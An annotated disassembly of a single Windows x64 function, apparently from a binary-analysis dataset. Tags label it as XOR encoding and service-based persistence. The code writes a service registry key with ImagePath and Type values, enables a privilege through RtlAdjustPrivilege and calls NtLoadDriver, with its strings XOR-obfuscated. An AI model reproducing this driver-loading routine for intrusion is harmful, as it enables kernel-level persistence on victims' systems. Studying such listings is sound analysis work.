Function at 0x14000b9ec
Capabilities:
Encode data using xor
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xd8]
sub rsp, 0x1c0
mov rax, qword [0x140129040]
xor rax, rsp
mov qword [rbp + 0xb0], rax
mov rbx, rcx
xor esi, esi
lea rcx, [rbp - 0x70]
call fcn.1400063cc
nop
movabs r14, 0x7ffffffffffffffe
mov rax, r14
mov rcx, qword [rbp - 0x60]
sub rax, rcx
cmp rax, 0x22
jb 0x14000bffa
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rax, qword [rbp - 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 0x10]
call fcn.140009e1c
nop
mov rcx, qword [rbx + 0x10]
mov rax, r14
sub rax, rcx
lea edi, [rsi + 4]
cmp rax, rdi
jb 0x14000c000
cmp qword [rbx + 0x18], 7
jbe 0x14000ba9e
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
lea r9, [0x140110ed8]
lea rcx, [rbp - 0x50]
call fcn.140009e1c
nop
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rdx, qword [rbp - 0x10]
lea r8, [rsp + 0x48]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x14000bb4e
movups xmm0, xmmword [0x140111060]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x140111070]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140111078]
mov dword [rsp + 0x78], eax
mov al, byte [0x14011107c]
mov byte [rsp + 0x7c], al
mov r8d, esi
lea r9, [rsp + 0x60]
mov edi, 1
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
mov al, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
add r8d, edi
add r9, rdi
cmp r8d, 0x1d
jl 0x14000bb1d
lea rdx, [rsp + 0x60]
jmp 0x14000bbfe
mov eax, dword [rbp - 0x40]
add eax, eax
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rsp + 0x48]
test eax, eax
je 0x14000bc69
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x140111080]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140111090]
movups xmmword [rsp + 0x70], xmm1
movsd xmm0, qword [0x1401110a0]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [0x1401110a8]
mov dword [rbp - 0x78], eax
mov r8d, esi
lea r9, [rsp + 0x60]
mov edi, 1
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
mov al, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
add r8d, edi
add r9, rdi
cmp r8d, 0x2c
jl 0x14000bbd2
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000935c
lea rdx, [0x140009560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dil, sil
lea rcx, [rbp - 0x50]
call fcn.140003af8
nop
lea rcx, [rbp - 0x10]
call fcn.140003af8
nop
lea rcx, [rbp - 0x70]
call fcn.140003af8
mov al, dil
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.1400ded10
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov dword [rsp + 0x28], edi
lea rax, [0x1401111d4]
mov qword [rsp + 0x20], rax
mov r9d, edi
lea r8, str.Type
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rsp + 0x48]
test eax, eax
je 0x14000bd0d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x1401111d8]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1401111e8]
movups xmmword [rsp + 0x70], xmm1
mov eax, dword [0x1401111f8]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401111fc]
mov word [rbp - 0x7c], ax
mov al, byte [0x1401111fe]
mov byte [rbp - 0x7a], al
mov r8d, esi
lea r9, [rsp + 0x60]
mov edi, 1
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
mov al, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
add r8d, edi
add r9, rdi
cmp r8d, 0x27
jl 0x14000bcdc
lea rdx, [rsp + 0x60]
jmp 0x14000bbfe
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x140103428]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x14000bc1a
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea r9, [rsp + 0x40]
xor r8d, r8d
lea edi, [r8 + 1]
mov dl, dil
lea ecx, [rdi + 9]
call rbx
test eax, eax
jns 0x14000bdf9
movaps xmm0, xmmword [str.rTBVT]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm1, xmmword [0x1401110c0]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm0, xmmword [0x1401110d0]
movaps xmmword [rbp + 0x30], xmm0
movaps xmm1, xmmword [0x1401110e0]
movaps xmmword [rbp + 0x40], xmm1
movaps xmm0, xmmword [0x1401110f0]
movaps xmmword [rbp + 0x50], xmm0
movaps xmm1, xmmword [0x140111100]
movaps xmmword [rbp + 0x60], xmm1
mov eax, dword [0x140111110]
mov dword [rbp + 0x70], eax
mov al, byte [0x140111114]
mov byte [rbp + 0x74], al
mov r8d, esi
lea r9, [rbp + 0x10]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
mov al, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
add r8d, edi
add r9, rdi
cmp r8d, 0x65
jl 0x14000bdc9
lea rdx, [rbp + 0x10]
jmp 0x14000bbfe
mov rcx, qword [rbp - 0x60]
sub r14, rcx
cmp r14, 0x34
jb 0x14000bff4
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rax, qword [rbp - 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp - 0x30]
call fcn.140009e1c
nop
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rdx, qword [rbp - 0x30]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x50]
call r15
mov ebx, eax
cmp eax, 0xc0000603
jne 0x14000bfd8
lea rdx, [rbp + 0x10]
lea rcx, [0x140110fc0]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov eax, 0x80
add rdx, rax
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
add rcx, rax
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
mov rax, qword [rcx + 0x10]
mov qword [rdx + 0x10], rax
mov eax, dword [rcx + 0x18]
mov dword [rdx + 0x18], eax
movzx eax, word [rcx + 0x1c]
mov word [rdx + 0x1c], ax
mov al, byte [rcx + 0x1e]
mov byte [rdx + 0x1e], al
mov r8d, esi
lea r9, [rbp + 0x10]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
mov al, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
add r8d, edi
add r9, rdi
cmp r8d, 0x9f
jl 0x14000bee7
lea rdx, [rbp + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000935c
lea rdx, [0x140009560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
movaps xmm0, xmmword [str.oXWGHHf]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm1, xmmword [0x140111130]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm0, xmmword [0x140111140]
movaps xmmword [rbp + 0x30], xmm0
movaps xmm1, xmmword [0x140111150]
movaps xmmword [rbp + 0x40], xmm1
movaps xmm0, xmmword [0x140111160]
movaps xmmword [rbp + 0x50], xmm0
movaps xmm1, xmmword [0x140111170]
movaps xmmword [rbp + 0x60], xmm1
movaps xmm0, xmmword [0x140111180]
movaps xmmword [rbp + 0x70], xmm0
movsd xmm0, qword [0x140111190]
movsd qword [rbp + 0x80], xmm0
lea r8, [rbp + 0x10]
mov eax, 0x51eb851f
mul esi
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
mov al, sil
sub al, dl
add al, 0x34
xor byte [r8], al
add esi, edi
add r8, rdi
cmp esi, 0x78
jl 0x14000bf92
lea rdx, [rbp + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000935c
lea rdx, [0x140009560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000bfe0
cmp ebx, 0xc000010e
je 0x14000bfe6
shr ebx, 0x1f
xor dil, bl
lea rcx, [rbp - 0x30]
call fcn.140003af8
jmp 0x14000bc1d
call fcn.1400018a8
nop
call fcn.1400018a8
nop
call fcn.1400018a8
int3